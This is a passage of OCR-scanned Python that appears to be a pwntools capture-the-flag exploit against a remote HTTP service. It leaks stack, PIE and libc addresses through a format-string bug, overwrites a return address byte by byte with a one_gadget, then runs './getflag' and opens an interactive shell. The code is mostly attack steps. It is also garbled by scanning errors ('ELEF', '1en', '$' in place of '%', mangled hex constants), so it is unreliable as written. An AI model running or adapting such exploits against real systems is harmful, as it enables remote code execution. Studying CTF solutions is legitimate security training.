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1 from pwn import *

2 from urllib import quote

3 context.log level = 'debug'
4 #p = process ("./chall")

5 p = remote("47.105.94.48", 12435)
6 libc = ELEF("./libc-2.27.s0")
7 code = "'"'GET / HTTP/1.0

8 Content-Length:-1

9

10 Sp-%155p-82115p

11 rrr

12

13 p.send(code)

14 p.recvuntil ("> ")

15 stack = int(p.recv(14), 16)

16 p.recvuntil ("-")

17pie = int(p.recv(14), 16)

18 p.recvuntil ("-")

19 1libc.address = int(p.recv(14), 16)-0x7ffff7a05b97+0x7fff£79e4000
20 ret_addr = stack - Ox7fffffffd8bf + Ox7fffrfffdec8

21 one = libc.address + 0x10a45c

22 payload = "$"+str((one)&0xff)+"c$225hhn"+p64 (ret _addr)

23 pad = 22-1en (payload)

24 payload = "A"*pad + "$"+str (one-pad&0xff)+"c$225hhn"+p64 (ret addr)
25 code = "GET / HTTP/1.0\nContent-Length:-1\n\n$%s"$ (payload)

26 #icglaadaa2801d9610ebbac281edl40f

27 p.send (code)

28 payload = "$"+str((one>>8) &0xfrf)+"c%225hhn"+p64 (ret addr+1)

29 pad = 22-1en (payload)

30 payload = "A"*pad + "$&"+str ((one>>8)-pad&0xff)+"cs225hhn"+p64 (ret addr+1)
31 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"$% (payload)

32 pause ()

33 p.send (code)

34 payload = "$"+str((one>>16)&0xff)+"c$225hhn"+p64 (ret_addr+2)

35 pad = 22-1en (payload)

36 payload = "A"*pad + "$&"+str((one>>16)-pad&0xff)+"cs225hhn"+p64 (ret addr+2)
37 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"$ (payload)

38 pause ()

39 p.send (code)

40 payload = "$"+str( (one>>24) &0xff)+"c$22Shhn"+p64 (ret addr+3)

41 pad = 22-len (payload)

42 payload = "A"*pad + "3"+str((one>>24)-pads&0xff)+"c$225hhn"+p64 (ret addr+3)
43 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"$ (payload)

44 pause ()

45 p.send (code)

46 payload = "%"+str((one>>32) &0xff)+"cs225hhn"+p64 (ret addr+4)

47 pad = 22-len (payload)

48 payload = "A"*pad + "$"+str((one>>32)-pad&0xff)+"cs225hhn"+p64 (ret addr+4)
49 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"$% (payload)

50 pause ()

51 p.send(code)

52 pause ()

53p.sendline("./getflag")

54 p.sendline ("ICQ TOKEN")

55 p.interactive ()
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